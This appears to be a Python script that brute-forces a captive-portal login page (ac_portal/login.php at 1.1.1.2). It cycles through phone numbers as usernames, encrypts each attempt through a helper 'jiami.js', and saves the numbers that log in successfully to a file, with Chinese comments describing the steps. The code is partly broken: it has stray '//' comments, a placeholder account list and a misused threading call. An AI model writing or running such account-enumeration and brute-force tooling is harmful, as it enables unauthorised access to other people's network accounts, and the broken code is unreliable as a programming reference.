import
requests
import
subprocess
import
threading
headers
=
{
'Cache-Control'
:
'no-cache'
,
'Connection'
:
'keep-alive'
,
'Content-Type'
:
'application/x-www-form-urlencoded; charset=UTF-8'
,
'Origin'
:
'http://1.1.1.2'
,
'Pragma'
:
'no-cache'
,
'Referer'
:
'http://1.1.1.2/ac_portal/20230304150257/pc.html?template=20230304150257&tabs=pwd&vlanid=1026&url=http://www.msftconnecttest.com%2fredirect'
,
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'
,
'X-Requested-With'
:
'XMLHttpRequest'
,
}
def
get_phone(phone_num):
user
=
str
(phone_num)
result
=
subprocess.run([
'node'
,
'jiami.js'
,user], capture_output
=
True
)
pwd_auth
=
(result.stdout.decode()).split()
/
/
用于接收js返回的值
data_str
=
f
"opr=pwdLogin&userName={pwd_auth[0]}&pwd={pwd_auth[1]}&auth_tag={pwd_auth[2]}&rememberPwd=0"
/
/
直接按照字符串传过去,其他格式报错比如json
response
=
requests.post(
'http://1.1.1.2/ac_portal/login.php'
, headers
=
headers, data
=
data_str)
json_text
=
response.text
if
"'success':true"
in
json_text:
with
open
(
'pyyhone.txt'
,
'a'
) as f:
f.write(
'0'
+
str
(phone_num)
+
'\n'
)
print
(json_text)
for
user
in
[一直账号的前几位
+
后四位变为
0
]:
for
i
in
range
(
1
,
9999
):
user
=
user
+
1
print
(f
"正在检测{user}"
)
threads
=
[]
t
=
threading.Thread(target
=
get_phone(user))
threads.append(t)
t.start()
if
i
%
100
=
=
0
:
for
t
in
threads:
t.join()